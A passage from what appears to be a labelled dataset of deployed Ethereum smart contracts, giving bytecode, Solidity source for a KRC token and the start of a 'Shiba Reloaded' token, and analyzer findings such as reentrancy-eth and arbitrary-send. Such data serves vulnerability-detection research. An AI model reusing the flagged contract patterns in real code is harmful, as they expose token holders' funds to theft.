fffffffff1614155b15610c8357600160066000848481518110610c2957610c28612732565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8080610c8e90612790565b915050610ad0565b5050565b6000610ca530610594565b9050610cb0816118d3565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610d4261106b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc69061263b565b60405180910390fd5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e1830610594565b600080610e23610738565b426040518863ffffffff1660e01b8152600401610e459695949392919061281e565b60606040518083038185885af1158015610e63573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e889190612894565b5050506001600d60166101000a81548160ff0219169083151502179055506001600d60146101000a81548160ff021916908315150217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610f609291906128e7565b6020604051808303816000875af1158015610f7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa3919061293c565b50565b600080831415610fb9576000905061101b565b60008284610fc79190612969565b9050828482610fd691906129f2565b14611016576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100d90612a95565b60405180910390fd5b809150505b92915050565b600061106383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b4c565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110da90612b27565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611153576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114a90612bb9565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112319190612322565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a590612c4b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561131e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131590612cdd565b60405180910390fd5b60008111611361576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135890612d6f565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156114055750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61140e57600080fd5b60076009819055506006600a81905550611426610738565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114945750611464610738565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561178557600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156115445750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561159a5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156115af57600e548111156115ae57600080fd5b5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116575750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156116c457600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116c35760076009819055506006600a819055505b5b60006116cf30610594565b9050600d60159054906101000a900460ff1615801561173c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156117545750600d60169054906101000a900460ff165b1561178357611762816118d3565b60004790506706f05b59d3b2000081111561178157611780476117f9565b5b505b505b611790838383611baf565b505050565b60008383111582906117dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d491906121d3565b60405180910390fd5b50600083856117ec9190612d8f565b9050809150509392505050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611861573d6000803e3d6000fd5b5050565b60006007548211156118ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a390612e35565b60405180910390fd5b60006118b6611bbf565b90506118cb818461102190919063ffffffff16565b915050919050565b6001600d60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561190b5761190a612423565b5b6040519080825280602002602001820160405280156119395781602001602082028036833780820191505090505b509050308160008151811061195157611950612732565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119f8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a1c91906126dc565b81600181518110611a3057611a2f612732565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611a9730600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611073565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611afb959493929190612f13565b600060405180830381600087803b158015611b1557600080fd5b505af1158015611b29573d6000803e3d6000fd5b50505050506000600d60156101000a81548160ff02191690831515021790555050565b60008083118290611b93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8a91906121d3565b60405180910390fd5b5060008385611ba291906129f2565b9050809150509392505050565b611bba838383611bea565b505050565b6000806000611bcc611db5565b91509150611be3818361102190919063ffffffff16565b9250505090565b600080600080600080611bfc87611e14565b955095509550955095509550611c5a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e7c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611cef85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d3b81611f24565b611d458483611fe1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611da29190612322565b60405180910390a3505050505050505050565b6000806000600754905060006702c68af0bb1400009050611de96702c68af0bb14000060075461102190919063ffffffff16565b821015611e07576007546702c68af0bb140000935093505050611e10565b81819350935050505b9091565b6000806000806000806000806000611e318a600954600a5461201b565b9250925092506000611e41611bbf565b90506000806000611e548e8787876120b1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611ebe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611795565b905092915050565b6000808284611ed59190612f6d565b905083811015611f1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f119061300f565b60405180910390fd5b8091505092915050565b6000611f2e611bbf565b90506000611f458284610fa690919063ffffffff16565b9050611f9981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611ff682600754611e7c90919063ffffffff16565b60078190555061201181600854611ec690919063ffffffff16565b6008819055505050565b6000806000806120476064612039888a610fa690919063ffffffff16565b61102190919063ffffffff16565b905060006120716064612063888b610fa690919063ffffffff16565b61102190919063ffffffff16565b9050600061209a8261208c858c611e7c90919063ffffffff16565b611e7c90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806120ca8589610fa690919063ffffffff16565b905060006120e18689610fa690919063ffffffff16565b905060006120f88789610fa690919063ffffffff16565b90506000612121826121138587611e7c90919063ffffffff16565b611e7c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612174578082015181840152602081019050612159565b83811115612183576000848401525b50505050565b6000601f19601f8301169050919050565b60006121a58261213a565b6121af8185612145565b93506121bf818560208601612156565b6121c881612189565b840191505092915050565b600060208201905081810360008301526121ed818461219a565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061223482612209565b9050919050565b61224481612229565b811461224f57600080fd5b50565b6000813590506122618161223b565b92915050565b6000819050919050565b61227a81612267565b811461228557600080fd5b50565b60008135905061229781612271565b92915050565b600080604083850312156122b4576122b36121ff565b5b60006122c285828601612252565b92505060206122d385828601612288565b9150509250929050565b60008115159050919050565b6122f2816122dd565b82525050565b600060208201905061230d60008301846122e9565b92915050565b61231c81612267565b82525050565b60006020820190506123376000830184612313565b92915050565b600080600060608486031215612356576123556121ff565b5b600061236486828701612252565b935050602061237586828701612252565b925050604061238686828701612288565b9150509250925092565b6000602082840312156123a6576123a56121ff565b5b60006123b484828501612252565b91505092915050565b600060ff82169050919050565b6123d3816123bd565b82525050565b60006020820190506123ee60008301846123ca565b92915050565b6123fd81612229565b82525050565b600060208201905061241860008301846123f4565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61245b82612189565b810181811067ffffffffffffffff8211171561247a57612479612423565b5b80604052505050565b600061248d6121f5565b90506124998282612452565b919050565b600067ffffffffffffffff8211156124b9576124b8612423565b5b602082029050602081019050919050565b600080fd5b60006124e26124dd8461249e565b612483565b90508083825260208201905060208402830185811115612505576125046124ca565b5b835b8181101561252e578061251a8882612252565b845260208401935050602081019050612507565b5050509392505050565b600082601f83011261254d5761254c61241e565b5b813561255d8482602086016124cf565b91505092915050565b60006020828403121561257c5761257b6121ff565b5b600082013567ffffffffffffffff81111561259a57612599612204565b5b6125a684828501612538565b91505092915050565b600080604083850312156125c6576125c56121ff565b5b60006125d485828601612252565b92505060206125e585828601612252565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612625602083612145565b9150612630826125ef565b602082019050919050565b6000602082019050818103600083015261265481612618565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612691601783612145565b915061269c8261265b565b602082019050919050565b600060208201905081810360008301526126c081612684565b9050919050565b6000815190506126d68161223b565b92915050565b6000602082840312156126f2576126f16121ff565b5b6000612700848285016126c7565b91505092915050565b600060408201905061271e60008301856123f4565b61272b60208301846123f4565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061279b82612267565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156127ce576127cd612761565b5b600182019050919050565b6000819050919050565b6000819050919050565b60006128086128036127fe846127d9565b6127e3565b612267565b9050919050565b612818816127ed565b82525050565b600060c08201905061283360008301896123f4565b6128406020830188612313565b61284d604083018761280f565b61285a606083018661280f565b61286760808301856123f4565b61287460a0830184612313565b979650505050505050565b60008151905061288e81612271565b92915050565b6000806000606084860312156128ad576128ac6121ff565b5b60006128bb8682870161287f565b93505060206128cc8682870161287f565b92505060406128dd8682870161287f565b9150509250925092565b60006040820190506128fc60008301856123f4565b6129096020830184612313565b9392505050565b612919816122dd565b811461292457600080fd5b50565b60008151905061293681612910565b92915050565b600060208284031215612952576129516121ff565b5b600061296084828501612927565b91505092915050565b600061297482612267565b915061297f83612267565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156129b8576129b7612761565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006129fd82612267565b9150612a0883612267565b925082612a1857612a176129c3565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612a7f602183612145565b9150612a8a82612a23565b604082019050919050565b60006020820190508181036000830152612aae81612a72565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612b11602483612145565b9150612b1c82612ab5565b604082019050919050565b60006020820190508181036000830152612b4081612b04565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612ba3602283612145565b9150612bae82612b47565b604082019050919050565b60006020820190508181036000830152612bd281612b96565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612c35602583612145565b9150612c4082612bd9565b604082019050919050565b60006020820190508181036000830152612c6481612c28565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612cc7602383612145565b9150612cd282612c6b565b604082019050919050565b60006020820190508181036000830152612cf681612cba565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612d59602983612145565b9150612d6482612cfd565b604082019050919050565b60006020820190508181036000830152612d8881612d4c565b9050919050565b6000612d9a82612267565b9150612da583612267565b925082821015612db857612db7612761565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612e1f602a83612145565b9150612e2a82612dc3565b604082019050919050565b60006020820190508181036000830152612e4e81612e12565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612e8a81612229565b82525050565b6000612e9c8383612e81565b60208301905092915050565b6000602082019050919050565b6000612ec082612e55565b612eca8185612e60565b9350612ed583612e71565b8060005b83811015612f06578151612eed8882612e90565b9750612ef883612ea8565b925050600181019050612ed9565b5085935050505092915050565b600060a082019050612f286000830188612313565b612f35602083018761280f565b8181036040830152612f478186612eb5565b9050612f5660608301856123f4565b612f636080830184612313565b9695505050505050565b6000612f7882612267565b9150612f8383612267565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612fb857612fb7612761565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612ff9601b83612145565b915061300482612fc3565b602082019050919050565b6000602082019050818103600083015261302881612fec565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207440c1fb5ca8b1e00ed9b49b68696d0bcfe842de8819e5d0a5b7ce0eafc5bb0b64736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,419
0x52ed883e23a22fb0ace4629f0dc5c6348580d1ce
pragma solidity 0.4.21; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { /// Total amount of tokens uint256 public totalSupply; function balanceOf(address _owner) public view returns (uint256 balance); function transfer(address _to, uint256 _amount) public returns (bool success); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256 remaining); function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success); function approve(address _spender, uint256 _amount) public returns (bool success); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; //balance in each address account mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _amount The amount to be transferred. */ function transfer(address _to, uint256 _amount) public returns (bool success) { require(_to != address(0)); require(balances[msg.sender] >= _amount && _amount > 0 && balances[_to].add(_amount) > balances[_to]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _amount uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) { require(_to != address(0)); require(balances[_from] >= _amount); require(allowed[_from][msg.sender] >= _amount); require(_amount > 0 && balances[_to].add(_amount) > balances[_to]); balances[_from] = balances[_from].sub(_amount); balances[_to] = balances[_to].add(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); emit Transfer(_from, _to, _amount); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _amount The amount of tokens to be spent. */ function approve(address _spender, uint256 _amount) public returns (bool success) { allowed[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken, Ownable { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public onlyOwner{ require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(msg.sender, _value); } } /** * @title KRC Token * @dev Token representing KRC. */ contract KRCToken is BurnableToken { string public name ; string public symbol ; uint8 public decimals = 18 ; /** *@dev users sending ether to this contract will be reverted. Any ether sent to the contract will be sent back to the caller */ function ()public payable { revert(); } /** * @dev Constructor function to initialize the initial supply of token to the creator of the contract */ function KRCToken(address ownerWallet) public { totalSupply = 500000000 * uint(10**18); name = "Kineticex"; symbol = "KRC"; balances[ownerWallet] = totalSupply; owner = ownerWallet; //Emitting transfer event since assigning all tokens to the creator also corresponds to the transfer of tokens to the creator emit Transfer(address(0), ownerWallet, totalSupply); } /** *@dev helper method to get token details, name, symbol and totalSupply in one go */ function getTokenDetail() public view returns (string, string, uint256) { return (name, symbol, totalSupply); } }
0x6060604052600436106100c45763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100c9578063095ea7b31461015357806318160ddd1461018957806323b872dd146101ae578063289de615146101d6578063313ce567146102d157806342966c68146102fa57806370a08231146103125780638da5cb5b1461033157806395d89b4114610360578063a9059cbb14610373578063dd62ed3e14610395578063f2fde38b146103ba575b600080fd5b34156100d457600080fd5b6100dc6103d9565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610118578082015183820152602001610100565b50505050905090810190601f1680156101455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015e57600080fd5b610175600160a060020a0360043516602435610477565b604051901515815260200160405180910390f35b341561019457600080fd5b61019c6104e3565b60405190815260200160405180910390f35b34156101b957600080fd5b610175600160a060020a03600435811690602435166044356104e9565b34156101e157600080fd5b6101e96106ae565b604051808060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610230578082015183820152602001610218565b50505050905090810190601f16801561025d5780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b8381101561029357808201518382015260200161027b565b50505050905090810190601f1680156102c05780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34156102dc57600080fd5b6102e461080a565b60405160ff909116815260200160405180910390f35b341561030557600080fd5b610310600435610813565b005b341561031d57600080fd5b61019c600160a060020a03600435166108ec565b341561033c57600080fd5b610344610907565b604051600160a060020a03909116815260200160405180910390f35b341561036b57600080fd5b6100dc610916565b341561037e57600080fd5b610175600160a060020a0360043516602435610981565b34156103a057600080fd5b61019c600160a060020a0360043581169060243516610abd565b34156103c557600080fd5b610310600160a060020a0360043516610ae8565b60048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561046f5780601f106104445761010080835404028352916020019161046f565b820191906000526020600020905b81548152906001019060200180831161045257829003601f168201915b505050505081565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005481565b6000600160a060020a038316151561050057600080fd5b600160a060020a0384166000908152600160205260409020548290101561052657600080fd5b600160a060020a03808516600090815260026020908152604080832033909416835292905220548290101561055a57600080fd5b6000821180156105905750600160a060020a03831660009081526001602052604090205461058e818463ffffffff610b8316565b115b151561059b57600080fd5b600160a060020a0384166000908152600160205260409020546105c4908363ffffffff610b9916565b600160a060020a0380861660009081526001602052604080822093909355908516815220546105f9908363ffffffff610b8316565b600160a060020a03808516600090815260016020908152604080832094909455878316825260028152838220339093168252919091522054610641908363ffffffff610b9916565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b6106b6610bab565b6106be610bab565b600060046005600054828054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561075c5780601f106107315761010080835404028352916020019161075c565b820191906000526020600020905b81548152906001019060200180831161073f57829003601f168201915b50505050509250818054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107f85780601f106107cd576101008083540402835291602001916107f8565b820191906000526020600020905b8154815290600101906020018083116107db57829003601f168201915b50505050509150925092509250909192565b60065460ff1681565b60035433600160a060020a0390811691161461082e57600080fd5b600160a060020a03331660009081526001602052604090205481111561085357600080fd5b600160a060020a03331660009081526001602052604090205461087c908263ffffffff610b9916565b600160a060020a033316600090815260016020526040812091909155546108a9908263ffffffff610b9916565b600055600160a060020a0333167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58260405190815260200160405180910390a250565b600160a060020a031660009081526001602052604090205490565b600354600160a060020a031681565b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561046f5780601f106104445761010080835404028352916020019161046f565b6000600160a060020a038316151561099857600080fd5b600160a060020a0333166000908152600160205260409020548290108015906109c15750600082115b80156109f35750600160a060020a0383166000908152600160205260409020546109f1818463ffffffff610b8316565b115b15156109fe57600080fd5b600160a060020a033316600090815260016020526040902054610a27908363ffffffff610b9916565b600160a060020a033381166000908152600160205260408082209390935590851681522054610a5c908363ffffffff610b8316565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a03908116911614610b0357600080fd5b600160a060020a0381161515610b1857600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082820183811015610b9257fe5b9392505050565b600082821115610ba557fe5b50900390565b602060405190810160405260008152905600a165627a7a72305820fcb7ae6ae64975fbc02c03ecd57d7c1d8db844cedf247afff6dd1e0c86f49f920029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
5,420
0x95db04549f0e09592927953ac2b13f84a669bace
/*** *** Shiba Reloaded (SHIBR) token launch scheduled for Feb. 12, 2022 *** More details at https://t.me/ShibaReloaded ***/ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.11; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, 